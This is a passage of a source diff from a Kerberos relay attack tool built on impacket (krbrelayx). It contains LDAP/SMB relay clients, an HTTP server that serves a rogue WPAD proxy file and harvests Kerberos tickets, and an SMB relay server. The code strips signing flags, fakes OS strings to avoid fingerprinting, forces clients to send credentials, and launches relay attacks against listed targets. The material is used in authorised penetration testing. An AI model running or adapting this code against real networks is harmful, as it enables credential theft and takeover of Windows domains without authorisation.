targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS)
mode = 'ATTACK'
else:
logging.info("Running in export mode (all tickets will be saved to disk)")
targetSystem = None
mode = 'EXPORT'
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
threads = set()
c = start_servers(options, threads)
print ""
logging.info("Servers started, waiting for connections")
try:
sys.stdin.read()
except KeyboardInterrupt:
pass
else:
pass
for s in threads:
del s
sys.exit(0)
# Process command-line arguments.
if __name__ == '__main__':
main()
+1
View File
@@ -0,0 +1 @@
pass
+101
View File
@@ -0,0 +1,101 @@
# Copyright (c) 2013-2017 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Protocol Client Base Class definition
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# Defines a base class for all clients + loads all available modules
#
# ToDo:
#
import os, sys, pkg_resources
from impacket import LOG
PROTOCOL_CLIENTS = {}
# Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)
# Besides using this base class you need to define one global variable when
# writing a plugin for protocol clients:
# PROTOCOL_CLIENT_CLASS = "<name of the class for the plugin>"
# PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
class ProtocolClient:
PLUGIN_NAME = 'PROTOCOL'
def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):
self.serverConfig = serverConfig
self.targetHost = target.hostname
# A default target port is specified by the subclass
if target.port is not None:
# We override it by the one specified in the target
self.targetPort = target.port
else:
self.targetPort = targetPort
self.target = target
self.extendedSecurity = extendedSecurity
self.session = None
self.sessionData = {}
def initConnection(self):
raise RuntimeError('Virtual Function')
def killConnection(self):
raise RuntimeError('Virtual Function')
def sendNegotiate(self, negotiateMessage):
# Charged of sending the type 1 NTLM Message
raise RuntimeError('Virtual Function')
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
# Charged of sending the type 3 NTLM Message to the Target
raise RuntimeError('Virtual Function')
def sendStandardSecurityAuth(self, sessionSetupData):
# Handle the situation When FLAGS2_EXTENDED_SECURITY is not set
raise RuntimeError('Virtual Function')
def getSession(self):
# Should return the active session for the relayed connection
raise RuntimeError('Virtual Function')
def getSessionData(self):
# Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the
# answers from the original server)
return self.sessionData
def getStandardSecurityChallenge(self):
# Should return the Challenge returned by the server when Extended Security is not set
# This should only happen with against old Servers. By default we return None
return None
def keepAlive(self):
# Charged of keeping connection alive
raise RuntimeError('Virtual Function')
for file in pkg_resources.resource_listdir('lib', 'clients'):
if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc':
continue
__import__(__package__ + '.' + os.path.splitext(file)[0])
module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
try:
pluginClasses = set()
try:
if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):
for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
pluginClasses.add(getattr(module, pluginClass))
else:
pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
except Exception, e:
LOG.debug(e)
pass
for pluginClass in pluginClasses:
LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
except Exception, e:
LOG.debug(str(e))
+56
View File
@@ -0,0 +1,56 @@
import sys
from struct import unpack
from impacket import LOG
from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD, SASL, KERBEROS
from ldap3.operation import bind
try:
from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
except ImportError:
LOG.fatal("krbrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade")
sys.exit(1)
from lib.clients import ProtocolClient
from lib.utils.kerberos import ldap_kerberos
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN
from impacket.spnego import SPNEGO_NegTokenResp
PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
class LDAPRelayClientException(Exception):
pass
class LDAPRelayClient(ProtocolClient):
PLUGIN_NAME = "LDAP"
MODIFY_ADD = MODIFY_ADD
def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.server = None
def killConnection(self):
if self.session is not None:
self.session.socket.close()
self.session = None
def initConnection(self, authdata, kdc=None):
if not kdc:
kdc = authdata['domain']
self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS)
ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost)
class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self, authdata, kdc=None):
if not kdc:
kdc = authdata['domain']
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS)
ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost)
+415
View File
@@ -0,0 +1,415 @@
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Protocol Client
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This is the SMB client which initiates the connection to an
# SMB server and relays the credentials to this server.
import os
from struct import unpack
from socket import error as socketerror
from impacket import LOG
from lib.clients import ProtocolClient
from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge
from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
class MYSMB(SMB):
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
self.extendedSecurity = extendedSecurity
SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
def neg_session(self, negPacket=None):
return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
class MYSMB3(SMB3):
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
self.extendedSecurity = extendedSecurity
SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket))
def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
# We DON'T want to sign
self._Connection['ClientSecurityMode'] = 0
if self.RequireMessageSigning is True:
LOG.error('Signing is required, attack won\'t work!')
return
self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
currentDialect = SMB2_DIALECT_WILDCARD
# Do we have a negSessionPacket already?
if negSessionResponse is not None:
# Yes, let's store the dialect answered back
negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
currentDialect = negResp['DialectRevision']
if currentDialect == SMB2_DIALECT_WILDCARD:
# Still don't know the chosen dialect, let's send our options
packet = self.SMB_PACKET()
packet['Command'] = SMB2_NEGOTIATE
negSession = SMB2Negotiate()
negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
negSession['Capabilities'] = self._Connection['Capabilities']
negSession['ClientGuid'] = self.ClientGuid
if preferredDialect is not None:
negSession['Dialects'] = [preferredDialect]
else:
negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
negSession['DialectCount'] = len(negSession['Dialects'])
packet['Data'] = negSession
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
negResp = SMB2Negotiate_Response(ans['Data'])
self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
self._Connection['ServerGuid'] = negResp['ServerGuid']
self._Connection['GSSNegotiateToken'] = negResp['Buffer']
self._Connection['Dialect'] = negResp['DialectRevision']
if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
LOG.error('Signing is required, attack won\'t work!')
return
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
self._Connection['SupportsFileLeasing'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
self._Connection['SupportsMultiCredit'] = True
if self._Connection['Dialect'] == SMB2_DIALECT_30:
# Switching to the right packet format
self.SMB_PACKET = SMB3Packet
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
self._Connection['SupportsDirectoryLeasing'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
self._Connection['SupportsMultiChannel'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
self._Connection['SupportsPersistentHandles'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
self._Connection['SupportsEncryption'] = True
self._Connection['ServerCapabilities'] = negResp['Capabilities']
self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.keepAliveHits = 1
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits +=1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2, data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0] == '\xfe':
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
existingConnection=smbClient, manualNegotiate=True)
return True
def setUid(self,uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negotiate = NTLMAuthNegotiate()
negotiate.fromString(negotiateMessage)
#Remove the signing flag
negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain'])
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = str(authenticateMessageBlob)
authData = respToken2.getData()
else:
authData = str(authenticateMessageBlob)
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
+2
View File
@@ -0,0 +1,2 @@
from httprelayserver import HTTPKrbRelayServer
from smbrelayserver import SMBRelayServer
+112
View File
@@ -0,0 +1,112 @@
import SimpleHTTPServer
import SocketServer
import socket
import base64
import random
import string
import traceback
from threading import Thread
from urlparse import urlparse
from impacket import ntlm, LOG
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.examples.ntlmrelayx.servers import HTTPRelayServer
from lib.utils.kerberos import get_kerberos_loot
class HTTPKrbRelayServer(HTTPRelayServer):
"""
HTTP Kerberos relay server. Mostly extended from ntlmrelayx.
Only required functions are overloaded
"""
class HTTPHandler(HTTPRelayServer.HTTPHandler):
def __init__(self,request, client_address, server):
self.server = server
self.protocol_version = 'HTTP/1.1'
self.challengeMessage = None
self.client = None
self.machineAccount = None
self.machineHashes = None
self.domainIp = None
self.authUser = None
self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
LOG.info("HTTPD: Received connection from %s, prompting for authentication", client_address[0])
try:
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
except Exception, e:
LOG.error(str(e))
LOG.debug(traceback.format_exc())
def do_GET(self):
messageType = 0
if self.server.config.mode == 'REDIRECT':
self.do_SMBREDIRECT()
return
LOG.info('HTTPD: Client requested path: %s' % self.path.lower())
# Serve WPAD if:
# - The client requests it
# - A WPAD host was provided in the command line options
# - The client has not exceeded the wpad_auth_num threshold yet
if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
self.serve_wpad()
return
# Determine if the user is connecting to our server directly or attempts to use it as a proxy
if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
proxy = True
else:
proxy = False
# TODO: Handle authentication that isn't complete the first time
if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None):
self.do_AUTHHEAD(message='Negotiate', proxy=proxy)
return
else:
if proxy:
auth_header = self.headers.getheader('Proxy-Authorization')
else:
auth_header = self.headers.getheader('Authorization')
try:
_, blob = auth_header.split('Negotiate')
token = base64.b64decode(blob.strip())
except:
self.do_AUTHHEAD(message='Negotiate', proxy=proxy)
return
# If you're looking for the magic, it's in lib/utils/kerberos.py
authdata = get_kerberos_loot(token, self.server.config)
# If we are here, it was succesful
# Are we in attack mode? If so, launch attack against all targets
if self.server.config.mode == 'ATTACK':
self.do_attack(authdata)
# And answer 404 not found
self.send_response(404)
self.send_header('WWW-Authenticate', 'Negotiate')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.send_header('Connection','close')
self.end_headers()
return
def do_attack(self, authdata):
self.authUser = '%s/%s' % (authdata['domain'], authdata['username'])
# No SOCKS, since socks is pointless when you can just export the tickets
# instead we iterate over all the targets
for target in self.server.config.target.originalTargets:
parsed_target = target
if parsed_target.scheme.upper() in self.server.config.attacks:
client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target)
client.initConnection(authdata, self.server.config.dcip)
# We have an attack.. go for it
attack = self.server.config.attacks[parsed_target.scheme.upper()]
client_thread = attack(self.server.config, client.session, self.authUser)
client_thread.start()
else:
LOG.error('No attack configured for %s', parsed_target.scheme.upper())
+570
View File
@@ -0,0 +1,570 @@
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Server
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# This is the SMB server which relays the connections
# to other protocols
from threading import Thread
import ConfigParser
import struct
import logging
import time
import calendar
import random
import string
import socket
from binascii import hexlify
from impacket import smb, ntlm, LOG, smb3
from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
from impacket.spnego import ASN1_AID, ASN1_SUPPORTED_MECH
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.smbserver import getFileTime
from pyasn1.codec.der import decoder, encoder
from lib.utils.kerberos import get_kerberos_loot
from lib.utils.spnego import GSSAPIHeader_SPNEGO_Init2, GSSAPIHeader_SPNEGO_Init, MechTypes, MechType, TypesMech, NegTokenResp, NegResult, NegotiationToken
class SMBRelayServer(Thread):
def __init__(self,config):
Thread.__init__(self)
self.daemon = True
self.server = 0
#Config object
self.config = config
#Current target IP
self.target = None
#Targets handler
self.targetprocessor = self.config.target
#Username we auth as gets stored here later
self.authUser = None
self.proxyTranslator = None
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','smb.log')
smbConfig.set('global','credentials_file','')
if self.config.smb2support is True:
smbConfig.set("global", "SMB2Support", "True")
else:
smbConfig.set("global", "SMB2Support", "False")
if self.config.outputFile is not None:
smbConfig.set('global','jtr_dump_path',self.config.outputFile)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path','')
# Change address_family to IPv6 if this is configured
if self.config.ipv6:
SMBSERVER.address_family = socket.AF_INET6
# changed to dereference configuration interfaceIp
self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig)
logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
self.server.processConfigFile()
self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
# Let's use the SMBServer Connection dictionary to keep track of our client connections as well
#TODO: See if this is the best way to accomplish this
# changed to dereference configuration interfaceIp
self.server.addConnection('SMBRelay', config.interfaceIp, 445)
### SMBv2 Part #################################################################
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
connData = smbServer.getConnectionData(connId, checkStatus=False)
LOG.info("SMBD: Received connection from %s" % (connData['ClientIP']))
respPacket = smb3.SMB2Packet()
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb3.SMB2Negotiate_Response()
# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
